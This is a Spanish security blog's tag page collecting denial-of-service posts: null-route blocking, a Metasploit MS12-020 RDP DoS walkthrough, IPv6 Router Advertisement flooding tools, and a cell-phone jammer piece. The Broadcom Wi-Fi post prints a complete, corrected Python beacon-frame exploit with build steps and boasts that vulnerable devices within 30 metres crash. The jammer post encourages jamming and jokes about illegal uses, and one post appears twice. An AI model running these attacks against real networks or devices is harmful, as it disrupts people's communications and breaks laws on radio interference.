No siempre es necesario establecer una regla de firewall para denegar tráfico, también podemos hacerlo desviándolo por una ruta nula (null or blackhole route).
Por lo
general podríamos decir que una ruta nula será más eficiente en sistemas
con muchas reglas de filtrado y una regla de filtrado será más
eficiente en sistemas con muchas rutas.
Por
ejemplo esto podría ser bastante interesante en sistemas donde existen
numerosas reglas de iptables y queremos evitar un DoS de forma sencilla y
rápida.
Otro
ejemplo idóneo para ver su funcionamiento sería bloquear la ip
192.168.0.195 que está intentando establecer continuamente una sesión
ssh contra nuestra máquina. Si queremos denegar el tráfico desde esa ip
con una ruta nula simplemente añadiremos con el comando ip:
root@server:~# ip route add blackhole 192.168.0.195/32
Para verificar si la ruta se ha añadido correctamente:
root@server:~# ip route show
default via 192.168.0.1 dev eth0 metric 100
blackhole 192.168.0.195
A partir de ese momento nuestro sistema ya no enviará respuestas SYN/ACK a la ip especificada y cuando vuelva a intentar conectarse recibirá el siguiente error:
baduser@attacker:~$ ssh 192.168.0.197
ssh: connect to host 192.168.0.197 port 22: No route to host
Finalmente si queremos desbloquear la IP borraremos la ruta añadida:
root@server:~# ip route del 192.168.0.195
root@server:~# ip route show
default via 192.168.0.1 dev eth0 metric 100
Fuentes:
http://www.hackplayers.com/2014/04/denegar-trafico-con-rutas-nulas.html- Mitigating DoS Attacks with a null (or Blackhole) Route on Linux
- Null route
- How do I Drop or block attackers IP with null routes?
Mostrando entradas con la etiqueta Dos. Mostrar todas las entradas
Mostrando entradas con la etiqueta Dos. Mostrar todas las entradas
Denegar tráfico con rutas nulas
Publicado por
Unknown
en
14:48
viernes, 9 de mayo de 2014
Etiquetas:
Dos,
linux,
redes
0
comentarios
Metasploit: Jugando a DoS con MS12-020-MaxChannelsIds
Publicado por
Unknown
en
19:51
martes, 13 de noviembre de 2012
Etiquetas:
Dos,
metasploit,
rdp,
windows
0
comentarios
La ya famosa vulnerabilidad de RDP, gran
protagonista de lo que llevamos de año, sigue captando el foco de
atención. Esta vez hablamos de su incorporación al framework de
Metasploit. En el presente artículo hablaremos de ello y realizaremos
una prueba de concepto, enseñando como evitarlo.
¿Sobre cual probamos? Un 7 por ejemplo…
El equipo víctima será un Windows 7, el
cual dispondrá de los servicios de escritorio remoto activos. Si estos
servicios no estuviesen activos no se podría realizar el ataque DoS
sobre la máquina. Además, si el servicio de escritorio remoto estuviera
configurado con autenticación a nivel de red tampoco se podrá realizar
la denegación de servicio.
Bien, imaginemos que la víctima dispone
de un escritorio remoto, que permite la conexión desde cualquier cliente
de escritorio remoto. Parece que la vulnerabilidad no es tan crítica
como parecía… y encima sale, una vez Microsoft presenta el parche, visto
así no es tan fiero el león como lo pintan, ¿no?
Configuremos Metasploit y probemos la
eficiencia del ataque DoS… un poco de PoC por aquí… y bien, en
Metasploit se dispone de un módulo auxiliar en la siguiente ruta
auxiliary/dos/Windows/rdp/ms12_020_maxchannelids. Lanzamos el comando
use, tras arrancar Metasploit, y accedemos a dicha ruta. Después con un
show options se visualiza las distintas opciones que hay que configurar
para lanzar el ataque.
¿Sólo tenemos que indicarle la dirección del equipo remoto?
La respuesta es… SI. Con el comando set asignamos la dirección al
parámetro RHOST y ejecutamos el comando run para lanzar la denegación de
servicio.
Y una vez hecho esto… si la víctima es vulnerable, ¡actualizad administradores! Se obtiene lo siguiente…
En conclusión, se observa lo sencillo
que puede ser tirar una máquina abajo, y lo sencillo que es configurar
Metasploit para realizar diversos ataques. De nuevo, ¡actualizad!
Fuente: http://www.flu-project.com
Un ataque devastador mediante flooding con mensajes RA en IPv6
Publicado por
Unknown
en
18:24
domingo, 11 de noviembre de 2012
Etiquetas:
Dos,
hacking,
ipv6
0
comentarios
Imagina un ataque extremadamente peligroso, en el que un único dispositivo pueda parar la actividad de todas las máquinas de una red local. Estos ataques existen y son posibles gracias a diversas vulnerabilidades de flooding en IPv6 mediante mensajes RA (Router Advertisement).
La primera de ellas fue reportada hace ya dos años (http://www.securityfocus.com/bid/45760/info)
y todavía afectan a M$ Windows XP, Vista, Windows 7, Server 2008 y a
versiones antiguas de Solaris, OS X, FreeBSD/NetBSD (estos últimos si
parchearon) e incluso a las consolas XBox y PS3.
Para probarla puedes ejecutar flood_router6 dentro de la suite de ataque thc-ipv6 (se incluye por defecto en BackTrack), o también mediante scapy o npg.
El segundo ataque, publicado recientemente y aún más potente, se aprovecha de la característica DAD (Duplicate Address Detection) de ICMPv6 y podemos encontrarlo también en la versión 2 de thc-ipv6: dos-new-ip6.
Como veis en el siguiente vídeo el resultado es devastador:
Hay varias formas de mitigar estos ataques. Las más efectivas son también las más radicales: desactivar IPv6 si no se utiliza o desactivar Router Discovery, algo quizás no muy apropiado para PCs clientes. Otras opciones son utilizar un firewall local para bloquear mensajes RA, una solución barata pero fácilmente rompible, o utilizar switches con RA Guard, que también puede evadirse mediante varias técnicas de fragmentación de paquetes...
Podéis encontrar mayor detalle e información en:
Win 7 DoS by RA Packets
Win 8 Developer Preview is also vulnerable
RA Guard Evasion
FreeBSD is also vulnerable!
Excellent advisory from Marc Heuse* with complete disclosure timeline
Multiple Vendors IPv6 Neighbor Discovery Router Advertisement Remote Denial of Service Vulnerability
CVE-2010-4669 - Router Advertisements Cause DoS in Windows
Bypassing Cisco's ICMPv6 Router Advertisement Guard feature
Packet captures of RA Guard Evasion in action
New RA Flood Attack
http://www.hackplayers.com

Para probarla puedes ejecutar flood_router6 dentro de la suite de ataque thc-ipv6 (se incluye por defecto en BackTrack), o también mediante scapy o npg.
El segundo ataque, publicado recientemente y aún más potente, se aprovecha de la característica DAD (Duplicate Address Detection) de ICMPv6 y podemos encontrarlo también en la versión 2 de thc-ipv6: dos-new-ip6.
Como veis en el siguiente vídeo el resultado es devastador:
Hay varias formas de mitigar estos ataques. Las más efectivas son también las más radicales: desactivar IPv6 si no se utiliza o desactivar Router Discovery, algo quizás no muy apropiado para PCs clientes. Otras opciones son utilizar un firewall local para bloquear mensajes RA, una solución barata pero fácilmente rompible, o utilizar switches con RA Guard, que también puede evadirse mediante varias técnicas de fragmentación de paquetes...
Podéis encontrar mayor detalle e información en:
Win 7 DoS by RA Packets
Win 8 Developer Preview is also vulnerable
RA Guard Evasion
FreeBSD is also vulnerable!
Excellent advisory from Marc Heuse* with complete disclosure timeline
Multiple Vendors IPv6 Neighbor Discovery Router Advertisement Remote Denial of Service Vulnerability
CVE-2010-4669 - Router Advertisements Cause DoS in Windows
Bypassing Cisco's ICMPv6 Router Advertisement Guard feature
Packet captures of RA Guard Evasion in action
New RA Flood Attack
http://www.hackplayers.com
Denegación de servicio a multitud de smartphones vía WiFi

"Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).
El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo.
La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, el cual que hizo una demostración pública durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.
Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.
El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2.
En coordinación con los investigadores y el US-CERT, Broadcom facilitó
a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para integrarlo en sus dispositivos, "por lo que se da como subsanada" XDD.
Los dispositivos afectados con el chipset BCM4325:
- Apple iPhone 3GS
- Apple iPod 2G
- HTC Touch Pro 2
- HTC Droid Incredible
- Samsung Spica
- Acer Liquid
- Motorola Devour
- Vehículo Ford Edge
- Apple iPhone 4
- Apple iPhone 4 Verizon
- Apple iPod 3G
- Apple iPad Wi-Fi
- Apple iPad 3G
- Apple iPad 2
- Apple Tv 2G
- Motorola Xoom
- Motorola Droid X2
- Motorola Atrix
- Samsung Galaxy Tab
- Samsung Galaxy S 4G
- Samsung Nexus S
- Samsung Stratosphere
- Samsung Fascinate
- HTC Nexus One
- HTC Evo 4G
- HTC ThunderBolt
- HTC Droid Incredible 2
- LG Revolution
- Sony Ericsson Xperia Play
- Pantech Breakout
- Nokia Lumina 800
- Kyocera Echo
- Asus Transformer Prime
- Malata ZPad"
A la noticia le acompañaba el siguiente script de python, el cual en principio tiene un par de erratas que supongo pusieron a propósito ;D. Así que editamos el código en nuestro editor preferido y corregimos:
*Poned especial atencion en los campos que he coloreado.
Enlace al codigo: http://pastebin.com/KNiAx2Vw
---------------------------------------------------------------------------------------------
#!/usr/bin/env python
import sys
import time
import struct
import PyLorcon2
def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096
# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
#part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
#Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'
sequence += 1
yield frame
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)
iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()
generator = beaconFrameGenerator()
for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
---------------------------------------------------------------------------------
Cerramos nuestro editor guardando el archivo como poc.py.
Para llevar a cabo la prueba de concepto, que el script sea funcional y echándole un ojo al código, nos damos cuenta que necesitamos tener instalado PyLorcon2
Procederemos a bajarlo directamente desde la consola:
svn co http://802.11ninja.net/svn/lorcon/tags/lorcon2-200911-rc1/ lorcon2-200911-rc1
Instalamos el software necesario para construir lorcon2 and pylorcon2.
sudo apt-get install libpcap-dev libnl-dev python-dev
procederemos a compilar lordcom2:
$ cd lorcon2-200911-rc1
$ ./configure --libdir=/usr/lib...
$ make...
$ sudo make install...
El próximo paso será bajarnos e instalar pylorcom2:
$ svn co http://pylorcon2.googlecode.com/svn/trunk pylorcon2
...
$ cd pylorcon2...
$ python setup.py build...
$ python setup.py install...
ahora testeamos el funcionamiento:
y procedemos a la prueba de concepto:


y voilá!!! Cualquier dispositivo wifi con los chipset anteriormente mencionados caerá fulminado ..a 30 mts a la redonda... con tan sólo realizar un escaneo de redes...
Sed buenos :D
Fuentes: http://unaaldia.hispasec.com/
http://code.google.com/p/pylorcon2/
http://www.hackplayers.com
Jammer el DoS de los celulares
Un Jammer o Mata Celulares es un dispositivo que inunda la frecuencia que usan los celulares, aislándolos entre el terminal celular y su celula aka torre de comunicaciones, desde la perspectiva del celular es como si hubiera entrado a una zona que no tiene cobertura y terminan todas las transmisiones, el indicador de señal se baja a 0 o se pone en una tacha.
Debe usarse solo en sitios privados como tu casa u oficina cuando sospechas que están tratando de grabarte, ya sea con un celular normal o uno espía, muchos políticos agradecerían tener estos conocimientos y herramientas.
Usos un poco perversos y que serian ilegales y seguramente considerado un ataque a las vías federales de comunicaciones, activarlo en el cine sin un contrato de aceptación del espectador por lo que tendría que activarlo el dueño del cine y no tu o separar a una chica de su Smartphone, es un fastidio que no puedas platicar con alguien sin que cada minuto mire a su celular para contestar pins o whatsapp o peor que te mande un pin cuando estas a 40 centímetros de distancia por que le da pena decirte de viva voz lo quiere. A que generaciones nuevas tan cobardes, pero pos si es niña se le perdona =)
Volviendo al asunto de Jammer y ahora que esta tan de moda los ataques DDoS , traducido a esto, un Jammer activado es un DoS a un celular o celulares que estén en el area
Fuente:http://www.lastdragon.net/?p=671
Suscribirse a:
Entradas (Atom)